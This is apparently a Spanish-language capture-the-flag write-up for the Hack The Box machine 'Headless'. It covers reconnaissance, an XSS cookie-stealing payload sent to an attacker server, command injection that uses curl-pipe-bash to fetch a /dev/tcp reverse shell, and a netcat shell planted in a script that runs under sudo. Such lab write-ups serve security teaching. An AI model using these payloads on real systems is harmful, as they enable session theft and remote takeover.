1
| /home/kali/Documents/htb/machines/headless:-$ sudo nmap -sC -sV -p- 10.10.11.8
|
1
| /home/kali/Documents/htb/machines/headless:-$ echo '10.10.11.8\theadless.htb' | sudo tee -a /etc/hosts
|
1
2
3
| /home/kali/Documents/htb/machines/headless:-$ gobuster dir -u http://10.10.11.8:5000 -w /usr/share/wordlists/dirb/big.txt
/dashboard (Status: 500) [Size: 265]
/support (Status: 200) [Size: 2363]
|
Web Analysis & Vulnerability Exploitation
La web presenta una vulnerabilidad de Cross-Site Scripting (XSS). Aprovechando esta vulnerabilidad, puedo robar una cookie que me permitiría autenticarme como un usuario autorizado.
Para explotar esta vulnerabilidad, intercepto una petición ‘POST’ del formulario ubicado en la dirección ‘/support’. Luego, configuro un servidor para recibir la cookie robada.
1
2
| /home/kali/Documents/htb/machines/headless:-$ python3 -m http.server 8003
Serving HTTP on 0.0.0.0 port 8003 http://0.0.0.0:8003/ ...
|
El ataque XSS tiene dos partes principales.
- Inyección de un script en el encabezado ‘User-Agent’ para robar cookies.
1
| User-Agent: <script>var i=new Image(); i.src="http://10.10.16.59:8003/?cookie="+btoa(document.cookie);</script>
|
- Inyección del mismo script en un campo de formulario ‘Contact Support’ para robar cookies cuando se visualiza el contenido del mensaje.
1
| fname=ad&lname=min&email=ad%http://40min.com/&phone=%2B55-555+5555&message=<script>var i=new Image(); i.src="http://10.10.16.59:8003/?cookie="+btoa(document.cookie);</script>
|
1
2
| ... 10.10.11.8 - - [22/May/2024 19:36:24]
"GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
|
Recibo la cookie en base64 y la descodifico.
1
2
| /home/kali/Documents/htb/machines/headless:-$ echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
|
Intercepto una peticion ‘GET’ de la direccion ‘/dashboard’, agrrego la nueva cookie y devuelvo la peticcion.
Consigo autentificarme exitosamente.
Analizando la peticion ‘POST’, encuentro que es vulnerable a OS Command Injection.
Creo una reverse shell y monto un servidor para que la maquina victima descarge el payload.
1
2
3
4
| /home/kali/Documents/htb/machines/headless:-$ echo "/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.16.59/4444 0>&1'" > payload.sh
/home/kali/Documents/htb/machines/headless:-$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
|
Me pongo en escucha con Netcat e injecto el comando malisioso por Burpsuite.
1
2
| /home/kali/Documents/htb/machines/headless:-$ nc -nvlp 4444
listening on [any] 4444 ...
|
1
2
3
4
5
| date=2023-09-15;curl http://10.10.16.59:8001/payload.sh%7Cbash > Send
...connect to [10.10.16.59] from (UNKNOWN) [10.10.11.8] 39442
dvir@headless:~$ cat user.txt
|
Privilege Escalation
El usuiario ‘dvir’ puede ejecutar el comnado ‘/usr/bin/syscheck’ como ‘sudo’.
1
| dvir@headless:~$ sudo -l
|
El comando ‘/usr/bin/syscheck’ ejecuta el archivo ‘initdb.sh’. Por tanto, puedo agregar un payload dentro del archivo ‘initdb.sh’.
1
| dvir@headless:~$ cat /usr/bin/syscheck
|
1
2
| dvir@headless:~$ echo "nc -e /bin/sh 10.10.16.59 1212" > initdb.sh
dvir@headless:~$ chmod +x initdb.sh
|
Agrego permisos de ejecucion, me pongo en escucha con Netcat y ejecuto el comando.
1
2
| /home/kali/Documents/htb/machines/headless:-$ nc -nvlp 1212
dvir@headless:~$ sudo /usr/bin/syscheck
|
https://www.hackthebox.com/achievement/machine/1521382/594